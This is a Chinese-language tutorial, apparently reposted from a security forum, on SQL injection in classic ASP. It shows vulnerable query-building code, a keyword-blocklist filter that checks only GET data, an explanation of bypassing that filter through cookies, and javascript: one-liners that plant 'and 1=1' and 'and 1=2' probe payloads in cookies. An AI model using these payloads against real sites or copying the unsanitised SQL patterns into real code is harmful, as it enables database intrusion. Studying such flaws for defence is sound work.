'摘要
注入漏洞:
1.Request.QueryString:获取地址栏参数(以及以GET方式提交的数据)
如:Request.QueryString("id")
2.Request.Form:                 获取以POST方式提交的数据(接收Form提交来的数据)
如:Request.Form("id")
3.Request.Cookies:          获取浏览器Cookier信息。
4.Request:包含以上三种方式(优先获取GET方式提交的数据),它会在QueryString、Form、ServerVariable中都搜寻一遍。而且有时候也会得到不同的结果。
如:Request("id")
例示代码:
<% 
//数字型
Response.Expires=0
   dim sql
   dim rs
   articleid=request("film2")
   urlid=request("film1")
   if articleid="" or urlid="" then
   response.write"非法操作"
   response.end
   end if
   set rs=server.createobject("adodb.recordset")
   sql="select serverip,canlook,movietype,title from learning where articleid="&articleid
   rs.open sql,conn,1,1
   serverip=rs("serverip")
   okip=Request.Servervariables("HTTP_X_FORWARDED_FOR") 
If okip="" Then okip=Request.Servervariables("REMOTE_ADDR")
set rst8=server.createobject("adodb.recordset") 
sql="select okip,testok,endtimes from okip where okip='"&okip&"'"
rst8.open sql,conn,1,1
if rst8.eof and rst8.bof then
   if request.cookies("userid")="" or request.cookies("password")="" then
%>

<%
//字符型
if request("username")<>"" then
set rst=server.createobject("adodb.recordset")
sql="select user from users where username='"&request("username")&"' and password='"&md5(request("pws"))&"'" //注意两者的sql
rst.open sql,conn,1,3
%>


<%
//Cookies注入
'SQL通用防注入程序
'Aseanleung
'--------定义部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
Dim fso1,all_tree2,file1,files,filez,fs1,zruserip
If Request.QueryString<>"" Then (对Request.QueryString提交(客户采用GET方式提交)的数据进行判断,并没有指明对其它方式提交的数据进行判断)
'自定义需要过滤的字串,用 "|" 分隔
Fy_In = "'|;|%|*|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|script" (阻止了常用的SQL注入的语句)
Fy_Inf = split(Fy_In,"|")
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
zruserip=Request.ServerVariables("HTTP_X_FORWARDED_FOR") 
If zruserip="" Then zruserip=Request.ServerVariables("REMOTE_ADDR")
Response.Write "内容含有非法字符!请不要有'或and或or等字符,请去掉这些字符再发!!"
Response.Write "如是要攻击网站,系统记录了你的操作↓"
Response.Write "操作IP:"&zruserip&""
Response.Write "操作时间:"&Now&""
Response.Write "操作页面:"&Request.ServerVariables("URL")&""
Response.Write "提交方式:GET"
Response.Write "提交参数:"&Fy_Get&""
Response.Write "提交数据:"&Request.QueryString(Fy_Get)
%>
//cookie注入其原理也和平时的注入一样,只不过提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
程序阻止了常用的SQL语句使用,但只对客户采用GET方式提交的数据进行判断,而没有对其它方式提交的数据进行判断,导致了Request.cookie方式来提交变量的值,而绕过了SQL防注入件
cookies的注入语句:javascript:alert(document.cookie="id="+escape("这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)"));
判断cookies注入js语句:
javascript:alert(document.cookie="参数= "+escape("参数值 and 1=1"));self.open("http://+"document.location.host+document.location.pathname);void(0); 
javascript:alert(document.cookie="参数="+escape("参数值 and 1=2"));self.open("http://+"document.location.host+document.location.pathname);void(0); 

转自:http://www.90sec.org/thread-1927-1-1.html